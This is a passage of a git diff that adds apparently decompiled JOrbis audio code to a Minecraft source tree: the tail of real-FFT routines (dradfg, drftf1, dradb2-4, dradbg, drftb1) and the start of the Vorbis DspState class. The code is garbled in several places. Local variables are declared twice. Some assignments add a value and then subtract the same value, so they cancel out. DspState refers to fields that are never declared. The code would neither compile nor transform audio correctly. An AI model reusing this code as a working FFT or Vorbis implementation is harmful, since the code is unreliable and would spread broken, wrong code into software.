+        t1 = 0;
+        t2 = ipp2 * idl1;
+        for (j = 1; j < ipph; j++) {
+          t1 += t0;
+          t2 -= t0;
+          int t3 = t1 - ido;
+          int t4 = t2 - ido;
+          for (int k = 0; k < l1; k++) {
+            t3 += ido;
+            t4 += ido;
+            ch[t3] += ch[t4];
+            ch[t4] -= ch[t3];
+          }
+        }
+        
+        float ar1 = 1.0F;
+        float ai1 = 0.0F;
+        t1 = 0;
+        t2 = ipp2 * idl1;
+        t3 = (ip - 1) * idl1;
+        for (int l = 1; l < ipph; l++) {
+          t1 += idl1;
+          t2 -= idl1;
+          float ar1h = dcp * ar1 - dsp * ai1;
+          ai1 = dcp * ai1 + dsp * ar1;
+          ar1 = ar1h;
+          int t4 = t1;
+          int t5 = t2;
+          int t6 = t3;
+          int t7 = idl1;
+          
+          for (ik = 0; ik < idl1; ik++) {
+            ch2[(t4++)] = (c2[ik] + ar1 * c2[(t7++)]);
+            ch2[(t5++)] = (ai1 * c2[(t6++)]);
+          }
+          
+          float dc2 = ar1;
+          float ds2 = ai1;
+          float ar2 = ar1;
+          float ai2 = ai1;
+          
+          t4 = idl1;
+          t5 = (ipp2 - 1) * idl1;
+          for (j = 2; j < ipph; j++) {
+            t4 += idl1;
+            t5 -= idl1;
+            
+            float ar2h = dc2 * ar2 - ds2 * ai2;
+            ai2 = dc2 * ai2 + ds2 * ar2;
+            ar2 = ar2h;
+            
+            t6 = t1;
+            t7 = t2;
+            int t8 = t4;
+            int t9 = t5;
+            for (ik = 0; ik < idl1; ik++) {
+              ch2[(t6++)] += ar2 * c2[(t8++)];
+              ch2[(t7++)] += ai2 * c2[(t9++)];
+            }
+          }
+        }
+        t1 = 0;
+        for (j = 1; j < ipph; j++) {
+          t1 += idl1;
+          t2 = t1;
+          for (ik = 0; ik < idl1; ik++) {
+            ch2[ik] += c2[(t2++)];
+          }
+        }
+        if (ido < l1) {
+          state = 132;
+        }
+        else
+        {
+          t1 = 0;
+          t2 = 0;
+          for (k = 0; k < l1; k++) {
+            t3 = t1;
+            int t4 = t2;
+            for (int i = 0; i < ido; i++)
+              cc[(t4++)] = ch[(t3++)];
+            t1 += ido;
+            t2 += t10;
+          }
+          state = 135; }
+        break;
+      
+      case 132: 
+        for (i = 0; i < ido; i++) {
+          t1 = i;
+          t2 = i;
+          for (k = 0; k < l1; k++) {
+            cc[t2] = ch[t1];
+            t1 += ido;
+            t2 += t10;
+          }
+        }
+      case 135: 
+        t1 = 0;
+        t2 = ido << 1;
+        t3 = 0;
+        t4 = ipp2 * t0;
+        for (j = 1; j < ipph; j++) {
+          t1 += t2;
+          t3 += t0;
+          t4 -= t0;
+          
+          int t5 = t1;
+          int t6 = t3;
+          int t7 = t4;
+          
+          for (int k = 0; k < l1; k++) {
+            cc[(t5 - 1)] = ch[t6];
+            cc[t5] = ch[t7];
+            t5 += t10;
+            t6 += ido;
+            t7 += ido;
+          }
+        }
+        
+        if (ido == 1)
+          return;
+        if (nbd < l1) {
+          state = 141;
+        }
+        else
+        {
+          t1 = -ido;
+          t3 = 0;
+          t4 = 0;
+          t5 = ipp2 * t0;
+          for (j = 1; j < ipph; j++) {
+            t1 += t2;
+            t3 += t2;
+            t4 += t0;
+            t5 -= t0;
+            int t6 = t1;
+            int t7 = t3;
+            int t8 = t4;
+            int t9 = t5;
+            for (int k = 0; k < l1; k++) {
+              for (i = 2; i < ido; i += 2) {
+                int ic = idp2 - i;
+                ch[(i + t8 - 1)] += ch[(i + t9 - 1)];
+                ch[(i + t8 - 1)] -= ch[(i + t9 - 1)];
+                ch[(i + t8)] += ch[(i + t9)];
+                ch[(i + t9)] -= ch[(i + t8)];
+              }
+              t6 += t10;
+              t7 += t10;
+              t8 += ido;
+              t9 += ido;
+            }
+          }
+          return;
+        }
+        break; case 141:  t1 = -ido;
+        t3 = 0;
+        t4 = 0;
+        t5 = ipp2 * t0;
+        for (j = 1; j < ipph; j++) {
+          t1 += t2;
+          t3 += t2;
+          t4 += t0;
+          t5 -= t0;
+          for (int i = 2; i < ido; i += 2) {
+            int t6 = idp2 + t1 - i;
+            int t7 = i + t3;
+            int t8 = i + t4;
+            int t9 = i + t5;
+            for (int k = 0; k < l1; k++) {
+              ch[(t8 - 1)] += ch[(t9 - 1)];
+              ch[(t8 - 1)] -= ch[(t9 - 1)];
+              ch[t8] += ch[t9];
+              ch[t9] -= ch[t8];
+              t6 += t10;
+              t7 += t10;
+              t8 += ido;
+              t9 += ido;
+            }
+          }
+        }
+      }
+    }
+    int t5;
+    int t4;
+    int t3;
+    int t1;
+    int j;
+  }
+  
+  static void drftf1(int n, float[] c, float[] ch, float[] wa, int[] ifac) {
+    int nf = ifac[1];
+    int na = 1;
+    int l2 = n;
+    int iw = n;
+    label383:
+    for (int k1 = 0; k1 < nf; k1++) {
+      int kh = nf - k1;
+      int ip = ifac[(kh + 1)];
+      int l1 = l2 / ip;
+      int ido = n / l2;
+      int idl1 = ido * l1;
+      iw -= (ip - 1) * ido;
+      na = 1 - na;
+      
+      int state = 100;
+      for (;;) {
+        switch (state) {
+        case 100: 
+          if (ip != 4) {
+            state = 102;
+          }
+          else
+          {
+            int ix2 = iw + ido;
+            int ix3 = ix2 + ido;
+            if (na != 0) {
+              dradf4(ido, l1, ch, c, wa, iw - 1, wa, ix2 - 1, wa, ix3 - 1);
+            } else
+              dradf4(ido, l1, c, ch, wa, iw - 1, wa, ix2 - 1, wa, ix3 - 1);
+            state = 110; }
+          break;
+        case 102: 
+          if (ip != 2) {
+            state = 104;
+
+          }
+          else if (na != 0) {
+            state = 103;
+          }
+          else {
+            dradf2(ido, l1, c, ch, wa, iw - 1);
+            state = 110; }
+          break;
+        case 103: 
+          dradf2(ido, l1, ch, c, wa, iw - 1);
+        case 104: 
+          if (ido == 1)
+            na = 1 - na;
+          if (na != 0) {
+            state = 109;
+          }
+          else {
+            dradfg(ido, ip, l1, idl1, c, c, c, ch, ch, wa, iw - 1);
+            na = 1;
+            state = 110; }
+          break;
+        case 109: 
+          dradfg(ido, ip, l1, idl1, ch, ch, ch, c, c, wa, iw - 1);
+          na = 0;
+        case 110: 
+          l2 = l1;
+          break label383;
+        }
+      }
+    }
+    if (na == 1)
+      return;
+    for (int i = 0; i < n; i++) {
+      c[i] = ch[i];
+    }
+  }
+  
+
+
+  static void dradb2(int ido, int l1, float[] cc, float[] ch, float[] wa1, int index)
+  {
+    int t0 = l1 * ido;
+    
+    int t1 = 0;
+    int t2 = 0;
+    int t3 = (ido << 1) - 1;
+    for (int k = 0; k < l1; k++) {
+      cc[t2] += cc[(t3 + t2)];
+      ch[(t1 + t0)] = (cc[t2] - cc[(t3 + t2)]);
+      t2 = t1 += ido << 1;
+    }
+    
+    if (ido < 2)
+      return;
+    if (ido != 2) {
+      t1 = 0;
+      t2 = 0;
+      for (k = 0; k < l1; k++) {
+        t3 = t1;
+        int t4; int t5 = (t4 = t2) + (ido << 1);
+        int t6 = t0 + t1;
+        for (int i = 2; i < ido; i += 2) {
+          t3 += 2;
+          t4 += 2;
+          t5 -= 2;
+          t6 += 2;
+          cc[(t4 - 1)] += cc[(t5 - 1)];
+          float tr2 = cc[(t4 - 1)] - cc[(t5 - 1)];
+          cc[t4] -= cc[t5];
+          float ti2 = cc[t4] + cc[t5];
+          ch[(t6 - 1)] = (wa1[(index + i - 2)] * tr2 - wa1[(index + i - 1)] * ti2);
+          ch[t6] = (wa1[(index + i - 2)] * ti2 + wa1[(index + i - 1)] * tr2);
+        }
+        t2 = t1 += ido << 1;
+      }
+      if (ido % 2 == 1) {
+        return;
+      }
+    }
+    t1 = ido - 1;
+    t2 = ido - 1;
+    for (k = 0; k < l1; k++) {
+      cc[t2] += cc[t2];
+      ch[(t1 + t0)] = (-(cc[(t2 + 1)] + cc[(t2 + 1)]));
+      t1 += ido;
+      t2 += (ido << 1);
+    }
+  }
+  
+
+
+  static void dradb3(int ido, int l1, float[] cc, float[] ch, float[] wa1, int index1, float[] wa2, int index2)
+  {
+    int t0 = l1 * ido;
+    
+    int t1 = 0;
+    int t2 = t0 << 1;
+    int t3 = ido << 1;
+    int t4 = ido + (ido << 1);
+    int t5 = 0;
+    for (int k = 0; k < l1; k++) {
+      float tr2 = cc[(t3 - 1)] + cc[(t3 - 1)];
+      float cr2 = cc[t5] + taur * tr2;
+      cc[t5] += tr2;
+      float ci3 = taui * (cc[t3] + cc[t3]);
+      ch[(t1 + t0)] = (cr2 - ci3);
+      ch[(t1 + t2)] = (cr2 + ci3);
+      t1 += ido;
+      t3 += t4;
+      t5 += t4;
+    }
+    
+    if (ido == 1) {
+      return;
+    }
+    t1 = 0;
+    t3 = ido << 1;
+    for (k = 0; k < l1; k++) {
+      int t7 = t1 + (t1 << 1);
+      int t6 = t5 = t7 + t3;
+      int t8 = t1;
+      int t9; int t10 = (t9 = t1 + t0) + t0;
+      
+      for (int i = 2; i < ido; i += 2) {
+        t5 += 2;
+        t6 -= 2;
+        t7 += 2;
+        t8 += 2;
+        t9 += 2;
+        t10 += 2;
+        float tr2 = cc[(t5 - 1)] + cc[(t6 - 1)];
+        float cr2 = cc[(t7 - 1)] + taur * tr2;
+        cc[(t7 - 1)] += tr2;
+        float ti2 = cc[t5] - cc[t6];
+        float ci2 = cc[t7] + taur * ti2;
+        cc[t7] += ti2;
+        float cr3 = taui * (cc[(t5 - 1)] - cc[(t6 - 1)]);
+        float ci3 = taui * (cc[t5] + cc[t6]);
+        float dr2 = cr2 - ci3;
+        float dr3 = cr2 + ci3;
+        float di2 = ci2 + cr3;
+        float di3 = ci2 - cr3;
+        ch[(t9 - 1)] = (wa1[(index1 + i - 2)] * dr2 - wa1[(index1 + i - 1)] * di2);
+        ch[t9] = (wa1[(index1 + i - 2)] * di2 + wa1[(index1 + i - 1)] * dr2);
+        ch[(t10 - 1)] = (wa2[(index2 + i - 2)] * dr3 - wa2[(index2 + i - 1)] * di3);
+        ch[t10] = (wa2[(index2 + i - 2)] * di3 + wa2[(index2 + i - 1)] * dr3);
+      }
+      t1 += ido;
+    }
+  }
+  
+
+
+  static void dradb4(int ido, int l1, float[] cc, float[] ch, float[] wa1, int index1, float[] wa2, int index2, float[] wa3, int index3)
+  {
+    int t0 = l1 * ido;
+    
+    int t1 = 0;
+    int t2 = ido << 2;
+    int t3 = 0;
+    int t6 = ido << 1;
+    for (int k = 0; k < l1; k++) {
+      int t4 = t3 + t6;
+      int t5 = t1;
+      float tr3 = cc[(t4 - 1)] + cc[(t4 - 1)];
+      float tr4 = cc[t4] + cc[t4];
+      float tr1 = cc[t3] - cc[(t4 += t6 - 1)];
+      float tr2 = cc[t3] + cc[(t4 - 1)];
+      ch[t5] = (tr2 + tr3); int 
+        tmp114_113 = (t5 + t0);t5 = tmp114_113;ch[tmp114_113] = (tr1 - tr4); int 
+        tmp129_128 = (t5 + t0);t5 = tmp129_128;ch[tmp129_128] = (tr2 - tr3); int 
+        tmp144_143 = (t5 + t0);t5 = tmp144_143;ch[tmp144_143] = (tr1 + tr4);
+      t1 += ido;
+      t3 += t2;
+    }
+    
+    if (ido < 2)
+      return;
+    if (ido != 2) {
+      t1 = 0;
+      for (k = 0; k < l1; k++) { int t4;
+        int t5 = (t4 = t3 = (t2 = t1 << 2) + t6) + t6;
+        int t7 = t1;
+        for (int i = 2; i < ido; i += 2) {
+          t2 += 2;
+          t3 += 2;
+          t4 -= 2;
+          t5 -= 2;
+          t7 += 2;
+          float ti1 = cc[t2] + cc[t5];
+          float ti2 = cc[t2] - cc[t5];
+          float ti3 = cc[t3] - cc[t4];
+          float tr4 = cc[t3] + cc[t4];
+          float tr1 = cc[(t2 - 1)] - cc[(t5 - 1)];
+          float tr2 = cc[(t2 - 1)] + cc[(t5 - 1)];
+          float ti4 = cc[(t3 - 1)] - cc[(t4 - 1)];
+          float tr3 = cc[(t3 - 1)] + cc[(t4 - 1)];
+          ch[(t7 - 1)] = (tr2 + tr3);
+          float cr3 = tr2 - tr3;
+          ch[t7] = (ti2 + ti3);
+          float ci3 = ti2 - ti3;
+          float cr2 = tr1 - tr4;
+          float cr4 = tr1 + tr4;
+          float ci2 = ti1 + ti4;
+          float ci4 = ti1 - ti4; int 
+          
+            tmp416_415 = (t7 + t0);int t8 = tmp416_415;ch[(tmp416_415 - 1)] = (wa1[(index1 + i - 2)] * cr2 - wa1[(index1 + i - 1)] * ci2);
+          ch[t8] = (wa1[(index1 + i - 2)] * ci2 + wa1[(index1 + i - 1)] * cr2); int 
+            tmp486_485 = (t8 + t0);t8 = tmp486_485;ch[(tmp486_485 - 1)] = (wa2[(index2 + i - 2)] * cr3 - wa2[(index2 + i - 1)] * ci3);
+          ch[t8] = (wa2[(index2 + i - 2)] * ci3 + wa2[(index2 + i - 1)] * cr3); int 
+            tmp556_555 = (t8 + t0);t8 = tmp556_555;ch[(tmp556_555 - 1)] = (wa3[(index3 + i - 2)] * cr4 - wa3[(index3 + i - 1)] * ci4);
+          ch[t8] = (wa3[(index3 + i - 2)] * ci4 + wa3[(index3 + i - 1)] * cr4);
+        }
+        t1 += ido;
+      }
+      if (ido % 2 == 1) {
+        return;
+      }
+    }
+    t1 = ido;
+    t2 = ido << 2;
+    t3 = ido - 1;
+    int t4 = ido + (ido << 1);
+    for (k = 0; k < l1; k++) {
+      int t5 = t3;
+      float ti1 = cc[t1] + cc[t4];
+      float ti2 = cc[t4] - cc[t1];
+      float tr1 = cc[(t1 - 1)] - cc[(t4 - 1)];
+      float tr2 = cc[(t1 - 1)] + cc[(t4 - 1)];
+      ch[t5] = (tr2 + tr2); int 
+        tmp746_745 = (t5 + t0);t5 = tmp746_745;ch[tmp746_745] = (sqrt2 * (tr1 - ti1)); int 
+        tmp765_764 = (t5 + t0);t5 = tmp765_764;ch[tmp765_764] = (ti2 + ti2); int 
+        tmp780_779 = (t5 + t0);t5 = tmp780_779;ch[tmp780_779] = (-sqrt2 * (tr1 + ti1));
+      
+      t3 += ido;
+      t1 += t2;
+      t4 += t2;
+    }
+  }
+  
+
+  static void dradbg(int ido, int ip, int l1, int idl1, float[] cc, float[] c1, float[] c2, float[] ch, float[] ch2, float[] wa, int index)
+  {
+    int ipph = 0;int t0 = 0;int t10 = 0;
+    
+    int nbd = 0;
+    float dcp = 0.0F;float dsp = 0.0F;
+    int ipp2 = 0;
+    
+    int state = 100;
+    for (;;) { int t1;
+      int t2;
+      int k; int i; int t2; int t5; int t7; int j; int t3; int j; int is; switch (state) {
+      case 100: 
+        t10 = ip * ido;
+        t0 = l1 * ido;
+        float arg = tpi / ip;
+        dcp = (float)Math.cos(arg);
+        dsp = (float)Math.sin(arg);
+        nbd = ido - 1 >>> 1;
+        ipp2 = ip;
+        ipph = ip + 1 >>> 1;
+        if (ido < l1) {
+          state = 103;
+        }
+        else {
+          t1 = 0;
+          t2 = 0;
+          for (k = 0; k < l1; k++) {
+            int t3 = t1;
+            int t4 = t2;
+            for (int i = 0; i < ido; i++) {
+              ch[t3] = cc[t4];
+              t3++;
+              t4++;
+            }
+            t1 += ido;
+            t2 += t10;
+          }
+          state = 106; }
+        break;
+      case 103: 
+        t1 = 0;
+        for (i = 0; i < ido; i++) {
+          t2 = t1;
+          int t3 = t1;
+          for (k = 0; k < l1; k++) {
+            ch[t2] = cc[t3];
+            t2 += ido;
+            t3 += t10;
+          }
+          t1++;
+        }
+      case 106: 
+        t1 = 0;
+        t2 = ipp2 * t0;
+        t7 = t5 = ido << 1;
+        for (j = 1; j < ipph; j++) {
+          t1 += t0;
+          t2 -= t0;
+          int t3 = t1;
+          int t4 = t2;
+          int t6 = t5;
+          for (int k = 0; k < l1; k++) {
+            ch[t3] = (cc[(t6 - 1)] + cc[(t6 - 1)]);
+            cc[t6] += cc[t6];
+            t3 += ido;
+            t4 += ido;
+            t6 += t10;
+          }
+          t5 += t7;
+        }
+        if (ido == 1) {
+          state = 116;
+
+        }
+        else if (nbd < l1) {
+          state = 112;
+        }
+        else
+        {
+          t1 = 0;
+          t2 = ipp2 * t0;
+          t7 = 0;
+          for (j = 1; j < ipph; j++) {
+            t1 += t0;
+            t2 -= t0;
+            int t3 = t1;
+            int t4 = t2;
+            
+            t7 += (ido << 1);
+            int t8 = t7;
+            for (int k = 0; k < l1; k++) {
+              t5 = t3;
+              int t6 = t4;
+              int t9 = t8;
+              int t11 = t8;
+              for (i = 2; i < ido; i += 2) {
+                t5 += 2;
+                t6 += 2;
+                t9 += 2;
+                t11 -= 2;
+                cc[(t9 - 1)] += cc[(t11 - 1)];
+                cc[(t9 - 1)] -= cc[(t11 - 1)];
+                cc[t9] -= cc[t11];
+                cc[t9] += cc[t11];
+              }
+              t3 += ido;
+              t4 += ido;
+              t8 += t10;
+            }
+          }
+          state = 116; }
+        break;
+      case 112: 
+        t1 = 0;
+        t2 = ipp2 * t0;
+        t7 = 0;
+        for (j = 1; j < ipph; j++) {
+          t1 += t0;
+          t2 -= t0;
+          int t3 = t1;
+          int t4 = t2;
+          t7 += (ido << 1);
+          int t8 = t7;
+          int t9 = t7;
+          for (int i = 2; i < ido; i += 2) {
+            t3 += 2;
+            t4 += 2;
+            t8 += 2;
+            t9 -= 2;
+            t5 = t3;
+            int t6 = t4;
+            int t11 = t8;
+            int t12 = t9;
+            for (int k = 0; k < l1; k++) {
+              cc[(t11 - 1)] += cc[(t12 - 1)];
+              cc[(t11 - 1)] -= cc[(t12 - 1)];
+              cc[t11] -= cc[t12];
+              cc[t11] += cc[t12];
+              t5 += ido;
+              t6 += ido;
+              t11 += t10;
+              t12 += t10;
+            }
+          }
+        }
+      case 116: 
+        float ar1 = 1.0F;
+        float ai1 = 0.0F;
+        t1 = 0;
+        int t9 = t2 = ipp2 * idl1;
+        t3 = (ip - 1) * idl1;
+        for (int l = 1; l < ipph; l++) {
+          t1 += idl1;
+          t2 -= idl1;
+          
+          float ar1h = dcp * ar1 - dsp * ai1;
+          ai1 = dcp * ai1 + dsp * ar1;
+          ar1 = ar1h;
+          int t4 = t1;
+          int t5 = t2;
+          int t6 = 0;
+          t7 = idl1;
+          int t8 = t3;
+          for (int ik = 0; ik < idl1; ik++) {
+            ch2[(t6++)] += ar1 * ch2[(t7++)];
+            c2[(t5++)] = (ai1 * ch2[(t8++)]);
+          }
+          float dc2 = ar1;
+          float ds2 = ai1;
+          float ar2 = ar1;
+          float ai2 = ai1;
+          
+          t6 = idl1;
+          t7 = t9 - idl1;
+          for (j = 2; j < ipph; j++) {
+            t6 += idl1;
+            t7 -= idl1;
+            float ar2h = dc2 * ar2 - ds2 * ai2;
+            ai2 = dc2 * ai2 + ds2 * ar2;
+            ar2 = ar2h;
+            t4 = t1;
+            t5 = t2;
+            int t11 = t6;
+            int t12 = t7;
+            for (ik = 0; ik < idl1; ik++) {
+              c2[(t4++)] += ar2 * ch2[(t11++)];
+              c2[(t5++)] += ai2 * ch2[(t12++)];
+            }
+          }
+        }
+        
+        t1 = 0;
+        for (j = 1; j < ipph; j++) {
+          t1 += idl1;
+          t2 = t1;
+          for (int ik = 0; ik < idl1; ik++) {
+            ch2[ik] += ch2[(t2++)];
+          }
+        }
+        t1 = 0;
+        t2 = ipp2 * t0;
+        for (j = 1; j < ipph; j++) {
+          t1 += t0;
+          t2 -= t0;
+          t3 = t1;
+          int t4 = t2;
+          for (int k = 0; k < l1; k++) {
+            c1[t3] -= c1[t4];
+            c1[t3] += c1[t4];
+            t3 += ido;
+            t4 += ido;
+          }
+        }
+        
+        if (ido == 1) {
+          state = 132;
+
+        }
+        else if (nbd < l1) {
+          state = 128;
+        }
+        else
+        {
+          t1 = 0;
+          t2 = ipp2 * t0;
+          for (j = 1; j < ipph; j++) {
+            t1 += t0;
+            t2 -= t0;
+            t3 = t1;
+            int t4 = t2;
+            for (int k = 0; k < l1; k++) {
+              int t5 = t3;
+              int t6 = t4;
+              for (int i = 2; i < ido; i += 2) {
+                t5 += 2;
+                t6 += 2;
+                c1[(t5 - 1)] -= c1[t6];
+                c1[(t5 - 1)] += c1[t6];
+                c1[t5] += c1[(t6 - 1)];
+                c1[t5] -= c1[(t6 - 1)];
+              }
+              t3 += ido;
+              t4 += ido;
+            }
+          }
+          state = 132; }
+        break;
+      case 128: 
+        t1 = 0;
+        t2 = ipp2 * t0;
+        for (j = 1; j < ipph; j++) {
+          t1 += t0;
+          t2 -= t0;
+          t3 = t1;
+          int t4 = t2;
+          for (int i = 2; i < ido; i += 2) {
+            t3 += 2;
+            t4 += 2;
+            int t5 = t3;
+            int t6 = t4;
+            for (int k = 0; k < l1; k++) {
+              c1[(t5 - 1)] -= c1[t6];
+              c1[(t5 - 1)] += c1[t6];
+              c1[t5] += c1[(t6 - 1)];
+              c1[t5] -= c1[(t6 - 1)];
+              t5 += ido;
+              t6 += ido;
+            }
+          }
+        }
+      case 132: 
+        if (ido == 1) {
+          return;
+        }
+        for (int ik = 0; ik < idl1; ik++) {
+          c2[ik] = ch2[ik];
+        }
+        t1 = 0;
+        for (j = 1; j < ip; j++) {
+          t2 = t1 += t0;
+          for (int k = 0; k < l1; k++) {
+            c1[t2] = ch[t2];
+            t2 += ido;
+          }
+        }
+        
+        if (nbd > l1) {
+          state = 139;
+        }
+        else
+        {
+          is = -ido - 1;
+          t1 = 0;
+          for (j = 1; j < ip; j++) {
+            is += ido;
+            t1 += t0;
+            int idij = is;
+            int t2 = t1;
+            for (int i = 2; i < ido; i += 2) {
+              t2 += 2;
+              idij += 2;
+              int t3 = t2;
+              for (int k = 0; k < l1; k++) {
+                c1[(t3 - 1)] = (wa[(index + idij - 1)] * ch[(t3 - 1)] - wa[(index + idij)] * ch[t3]);
+                c1[t3] = (wa[(index + idij - 1)] * ch[t3] + wa[(index + idij)] * ch[(t3 - 1)]);
+                t3 += ido;
+              }
+            }
+          }
+          return;
+        }
+        break;
+      case 139:  is = -ido - 1;
+        t1 = 0;
+        for (j = 1; j < ip; j++) {
+          is += ido;
+          t1 += t0;
+          int t2 = t1;
+          for (int k = 0; k < l1; k++) {
+            int idij = is;
+            int t3 = t2;
+            for (int i = 2; i < ido; i += 2) {
+              idij += 2;
+              t3 += 2;
+              c1[(t3 - 1)] = (wa[(index + idij - 1)] * ch[(t3 - 1)] - wa[(index + idij)] * ch[t3]);
+              c1[t3] = (wa[(index + idij - 1)] * ch[t3] + wa[(index + idij)] * ch[(t3 - 1)]);
+            }
+            t2 += ido;
+          }
+        } }
+    }
+    int t1;
+    int is;
+    int j;
+  }
+  
+  static void drftb1(int n, float[] c, float[] ch, float[] wa, int index, int[] ifac) {
+    int l2 = 0;
+    
+    int ip = 0;int ido = 0;int idl1 = 0;
+    
+    int nf = ifac[1];
+    int na = 0;
+    int l1 = 1;
+    int iw = 1;
+    label484:
+    for (int k1 = 0; k1 < nf; k1++) {
+      int state = 100;
+      for (;;) { int ix2;
+        switch (state) {
+        case 100: 
+          ip = ifac[(k1 + 2)];
+          l2 = ip * l1;
+          ido = n / l2;
+          idl1 = ido * l1;
+          if (ip != 4) {
+            state = 103;
+          }
+          else {
+            ix2 = iw + ido;
+            int ix3 = ix2 + ido;
+            
+            if (na != 0) {
+              dradb4(ido, l1, ch, c, wa, index + iw - 1, wa, index + ix2 - 1, wa, index + ix3 - 1);
+            }
+            else {
+              dradb4(ido, l1, c, ch, wa, index + iw - 1, wa, index + ix2 - 1, wa, index + ix3 - 1);
+            }
+            na = 1 - na;
+            state = 115; }
+          break;
+        case 103: 
+          if (ip != 2) {
+            state = 106;
+          }
+          else
+          {
+            if (na != 0) {
+              dradb2(ido, l1, ch, c, wa, index + iw - 1);
+            } else
+              dradb2(ido, l1, c, ch, wa, index + iw - 1);
+            na = 1 - na;
+            state = 115; }
+          break;
+        
+        case 106: 
+          if (ip != 3) {
+            state = 109;
+          }
+          else
+          {
+            ix2 = iw + ido;
+            if (na != 0) {
+              dradb3(ido, l1, ch, c, wa, index + iw - 1, wa, index + ix2 - 1);
+            } else
+              dradb3(ido, l1, c, ch, wa, index + iw - 1, wa, index + ix2 - 1);
+            na = 1 - na;
+            state = 115; }
+          break;
+        case 109: 
+          if (na != 0) {
+            dradbg(ido, ip, l1, idl1, ch, ch, ch, c, c, wa, index + iw - 1);
+          } else
+            dradbg(ido, ip, l1, idl1, c, c, c, ch, ch, wa, index + iw - 1);
+          if (ido == 1) {
+            na = 1 - na;
+          }
+        case 115: 
+          l1 = l2;
+          iw += (ip - 1) * ido;
+          break label484;
+        }
+      }
+    }
+    if (na == 0)
+      return;
+    for (int i = 0; i < n; i++) {
+      c[i] = ch[i];
+    }
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/DspState.java b/src/minecraft/com/jcraft/jorbis/DspState.java
new file mode 100644
index 0000000..63fe852
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/DspState.java
@@ -0,0 +1,375 @@
+package com.jcraft.jorbis;
+
+
+
+public class DspState
+{
+  static final float M_PI = 3.1415927F;
+  
+
+  static final int VI_TRANSFORMB = 1;
+  
+
+  static final int VI_WINDOWB = 1;
+  
+
+  int analysisp;
+  
+
+  Info vi;
+  
+
+  int modebits;
+  
+
+  float[][] pcm;
+  
+  int pcm_storage;
+  
+  int pcm_current;
+  
+  int pcm_returned;
+  
+  float[] multipliers;
+  
+  int envelope_storage;
+  
+  int envelope_current;
+  
+  int eofflag;
+  
+  int lW;
+  
+  int W;
+  
+  int nW;
+  
+  int centerW;
+  
+  long granulepos;
+  
+  long sequence;
+  
+  long glue_bits;
+  
+  long time_bits;
+  
+  long floor_bits;
+  
+  long res_bits;
+  
+  float[][][][][] window;
+  
+  Object[][] transform;
+  
+  CodeBook[] fullbooks;
+  
+  Object[] mode;
+  
+  byte[] header;
+  
+  byte[] header1;
+  
+  byte[] header2;
+  
+
+  public DspState()
+  {
+    transform = new Object[2][];
+    window = new float[2][][][][];
+    window[0] = new float[2][][][];
+    window[0][0] = new float[2][][];
+    window[0][1] = new float[2][][];
+    window[0][0][0] = new float[2][];
+    window[0][0][1] = new float[2][];
+    window[0][1][0] = new float[2][];
+    window[0][1][1] = new float[2][];
+    window[1] = new float[2][][][];
+    window[1][0] = new float[2][][];
+    window[1][1] = new float[2][][];
+    window[1][0][0] = new float[2][];
+    window[1][0][1] = new float[2][];
+    window[1][1][0] = new float[2][];
+    window[1][1][1] = new float[2][];
+  }
+  
+  static float[] window(int type, int window, int left, int right) {
+    float[] ret = new float[window];
+    switch (type)
+    {
+
+    case 0: 
+      int leftbegin = window / 4 - left / 2;
+      int rightbegin = window - window / 4 - right / 2;
+      
+      for (int i = 0; i < left; i++) {
+        float x = (float)((i + 0.5D) / left * 3.1415927410125732D / 2.0D);
+        x = (float)Math.sin(x);
+        x *= x;
+        x = (float)(x * 1.5707963705062866D);
+        x = (float)Math.sin(x);
+        ret[(i + leftbegin)] = x;
+      }
+      
+      for (int i = leftbegin + left; i < rightbegin; i++) {
+        ret[i] = 1.0F;
+      }
+      
+      for (int i = 0; i < right; i++) {
+        float x = (float)((right - i - 0.5D) / right * 3.1415927410125732D / 2.0D);
+        x = (float)Math.sin(x);
+        x *= x;
+        x = (float)(x * 1.5707963705062866D);
+        x = (float)Math.sin(x);
+        ret[(i + rightbegin)] = x;
+      }
+      
+      break;
+    
+    default: 
+      return null; }
+    
+    return ret;
+  }
+  
+
+
+
+  int init(Info vi, boolean encp)
+  {
+    this.vi = vi;
+    modebits = Util.ilog2(modes);
+    
+    transform[0] = new Object[1];
+    transform[1] = new Object[1];
+    
+
+
+    transform[0][0] = new Mdct();
+    transform[1][0] = new Mdct();
+    ((Mdct)transform[0][0]).init(blocksizes[0]);
+    ((Mdct)transform[1][0]).init(blocksizes[1]);
+    
+    window[0][0][0] = new float[1][];
+    window[0][0][1] = window[0][0][0];
+    window[0][1][0] = window[0][0][0];
+    window[0][1][1] = window[0][0][0];
+    window[1][0][0] = new float[1][];
+    window[1][0][1] = new float[1][];
+    window[1][1][0] = new float[1][];
+    window[1][1][1] = new float[1][];
+    
+    for (int i = 0; i < 1; i++) {
+      window[0][0][0][i] = window(i, blocksizes[0], blocksizes[0] / 2, blocksizes[0] / 2);
+      
+      window[1][0][0][i] = window(i, blocksizes[1], blocksizes[0] / 2, blocksizes[0] / 2);
+      
+      window[1][0][1][i] = window(i, blocksizes[1], blocksizes[0] / 2, blocksizes[1] / 2);
+      
+      window[1][1][0][i] = window(i, blocksizes[1], blocksizes[1] / 2, blocksizes[0] / 2);
+      
+      window[1][1][1][i] = window(i, blocksizes[1], blocksizes[1] / 2, blocksizes[1] / 2);
+    }
+    
+
+    fullbooks = new CodeBook[books];
+    for (int i = 0; i < books; i++) {
+      fullbooks[i] = new CodeBook();
+      fullbooks[i].init_decode(book_param[i]);
+    }
+    
+
+
+
+    pcm_storage = 8192;
+    
+
+    pcm = new float[channels][];
+    
+    for (int i = 0; i < channels; i++) {
+      pcm[i] = new float[pcm_storage];
+    }
+    
+
+
+
+    lW = 0;
+    W = 0;
+    
+
+    centerW = (blocksizes[1] / 2);
+    
+    pcm_current = centerW;
+    
+
+    mode = new Object[modes];
+    for (int i = 0; i < modes; i++) {
+      int mapnum = mode_param[i].mapping;
+      int maptype = map_type[mapnum];
+      mode[i] = FuncMapping.mapping_P[maptype].look(this, mode_param[i], map_param[mapnum]);
+    }
+    
+    return 0;
+  }
+  
+  public int synthesis_init(Info vi) {
+    init(vi, false);
+    
+    pcm_returned = centerW;
+    centerW -= blocksizes[W] / 4 + blocksizes[lW] / 4;
+    granulepos = -1L;
+    sequence = -1L;
+    return 0;
+  }
+  
+  DspState(Info vi) {
+    this();
+    init(vi, false);
+    
+    pcm_returned = centerW;
+    centerW -= blocksizes[W] / 4 + blocksizes[lW] / 4;
+    granulepos = -1L;
+    sequence = -1L;
+  }
+  
+
+
+
+
+
+  public int synthesis_blockin(Block vb)
+  {
